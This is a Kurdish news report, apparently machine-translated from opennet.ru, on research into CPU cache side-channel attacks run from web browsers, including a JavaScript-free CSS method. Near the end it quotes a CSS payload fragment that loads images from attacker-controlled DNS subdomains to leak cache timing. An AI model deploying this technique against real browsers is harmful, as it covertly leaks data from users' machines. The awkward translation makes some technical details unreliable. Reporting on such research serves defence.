Êrîşa derxistina cache ya CPU-yê di gerokek webê de bêyî JavaScript hatî bicîh kirin

Tîmek lêkolîner ji çend zanîngehên Amerîkî, Israelisraîlî û Avusturalya sê êrîş pêş xistine ku li ser gerokên webê têne xebitandin da ku agahdariya li ser naveroka cache ya pêvajoyê derxînin. Rêbazek di gerokên bêyî JavaScript-ê de dixebite, û duyên din rêbazên heyî yên parastinê li dijî êrişên kanala alî, di nav de yên ku di geroka Tor û DeterFox de têne bikar anîn, derbas dikin. Koda ji bo nîşandana êrîşan, û her weha hêmanên serverê yên ji bo êrîşan hewce ne, li ser GitHub têne weşandin.

Ji bo analîzkirina naveroka cache, hemî êrîş rêbaza Prime + Probe bikar tînin, ku tê de cache bi komek nirxan standard dagirtin û bi pîvandina dema gihîştina wan dema ji nû ve dagirtina wan guhertinan vedihewîne. Ji bo derbaskirina mekanîzmayên ewlehiyê yên ku di gerokên ku di pîvana rast a demê de asteng dikin, derbas bikin, di du vebijarkan de, îtirazek ji serverek DNS an WebSocket ku ji hêla êrîşker ve tê kontrol kirin, tê kirin, ku têketinek dema daxwazên wergirtinê digire. Di yek pêkvekirinê de, demek bersivdana DNS-ya sabît wekî referansa demê tê bikar anîn.

Pîvandinên ku bi karanîna serverên DNS an WebSocket ên derveyî hatine çêkirin, bi karanîna pergalek dabeşkirinê ya li ser bingeha fêrbûna makîneyê, ji bo pêşbînkirina nirxan bi rastbûna% 98 di senaryoya herî çêtirîn de (navîn 80-90%) bes bûn. Rêbazên êrîşê li ser platformên cûrbecûr hardware (Intel, AMD Ryzen, Apple M1, Samsung Exynos) hatine ceribandin û îsbat kirine ku gerdûnî ne.

Êrîşa derxistina cache ya CPU-yê di gerokek webê de bêyî JavaScript hatî bicîh kirin

Guhertoya yekem a êrîşa DNS Racing bi karanîna rêzikên JavaScript-ê pêkanîna klasîk a rêbaza Prime + Probe bikar tîne. Cûdahî bi karanîna demjimêrek-based DNS-ya derveyî û rêvekerek yek xeletî vedihewîne, ku gava ku hewl tê dayîn ku wêneyek ji domanek neheyî were barkirin tê destnîşan kirin. Demjimêrek derveyî rê dide êrîşek Prime+Probe li ser gerokên ku gihîştina demjimêrên JavaScript-ê sînordar an bi tevahî asteng dikin.

Ji bo serverek DNS-ya ku li ser heman torê Ethernet-ê ye, rastbûna demjimêrê bi qasî 2 ms tê texmîn kirin, ku ji bo pêkanîna êrîşek kanalek alî têrê dike (ji bo berhevdanê, rastbûna demjimêra standard JavaScript di Geroka Tor de ye daket 100 ms). Ji bo êrîşê, kontrolkirina servera DNS-ê ne hewce ye, ji ber ku dema pêkanîna operasyonê tê hilbijartin da ku dema bersivê ji DNS-ê wekî nîşana qedandina berê ya kontrolê (li ser vê yekê ve girêdayî ye ku gerîdera yek xeletî hatî desteser kirin zû an dereng, encamek di derbarê leza operasyona kontrolê ya bi kaşê re tê derxistin).

Rêbaza êrîşê ya duyemîn, "String and Sock", armanc dike ku teknîkên ewlehiyê yên ku karanîna asta nizm a rêzikên di JavaScriptê de sînordar dike derbas bike. Li şûna rêzan, String and Sock operasyonên li ser rêzikên pir mezin bikar tîne, mezinahiya wan tê hilbijartin da ku guhêrbar tevahiya cache LLC-ê bigire (kaşa asta paşîn). Dûv re, bi karanîna fonksiyona indexOf() re, binerêzek piçûk di rêzikê de tê gerîn, ku di destpêkê de di rêzika çavkaniyê de tune ye, ango. operasyona lêgerînê li ser tevahiya rêzê dubare dibe. Ji ber ku mezinahiya rêzê bi mezinahiya cache ya LLC-ê re têkildar e, şopandin dihêle hûn bêyî manîpulekirina rêzan operasyonek kontrolkirina cache-ê pêk bînin. Ji bo pîvandina derengiyan, li şûna DNS, bangek ji serverek WebSocket ku ji hêla êrîşker ve tê kontrol kirin tê kirin - berî û piştî ku operasyona lêgerînê qediya, pirs di rêzê de têne şandin, li ser bingeha ku server derengiya ku ji bo analîzkirina cache tê bikar anîn hesab dike. naveroka.

Guhertoya sêyemîn a êrîşa "CSS PP0" bi navgîniya HTML û CSS-ê ve tête bicîh kirin, û dikare di gerokên ku JavaScript neçalakkirî de bixebite. Rêbaz mîna "String and Sock" e, lê bi JavaScript-ê ve ne girêdayî ye. Di dema êrîşê de, komek hilbijêrên CSS-ê têne çêkirin ku bi maskê digerin. Rêza mezin a destpêkê ya ku cache tije dike bi afirandina tagek div bi navek pola pir mezin ve tê danîn. Di hundurê de komek divên din ên bi nasnameyên xwe hene. Her yek ji van divên hêlînkirî şêwazek xwe ya bi hilbijêrek heye ku li jêrzemînekê digere. Dema ku rûpelek pêşkêş dike, gerok pêşî hewl dide ku divên hundurîn pêvajoyê bike, ku di encamê de operasyonek lêgerînê li ser rêzek mezin pêk tîne. Lêgerîn bi karanîna maskek bi qestî wenda tê kirin û dibe sedema dubarekirina li ser tevahiya rêzê, piştî ku rewşa "ne" tê dest pê kirin û hewl tê dayîn ku wêneyek paşperdeyê ku referansa qadên rasthatî dike: #pp:not([ class*='xjtoxg']) # s0 {background-image: url("https://qdlvibmr.helldomain.oy.ne.ro");} #pp:not([class*='gzstxf']) # s1 {background-image: url(" https://licfsdju.helldomain.oy.ne.ro");} ... X X …

Subdomains ji hêla servera DNS ya êrîşkar ve têne xizmet kirin, ku dikare derengiya wergirtina daxwazan bipîve. Pêşkêşkara DNS ji bo hemî daxwazan NXDOMAIN derdixe û têketinek dema tam ya daxwazan digire. Di encama hilanîna komek div-an de, servera DNS-a êrîşkar rêzek daxwazan distîne, derengiya ku di navbera wan de bi encama kontrolkirina naveroka cache re têkildar e.

Êrîşa derxistina cache ya CPU-yê di gerokek webê de bêyî JavaScript hatî bicîh kirin


Source: opennet.ru

Add a comment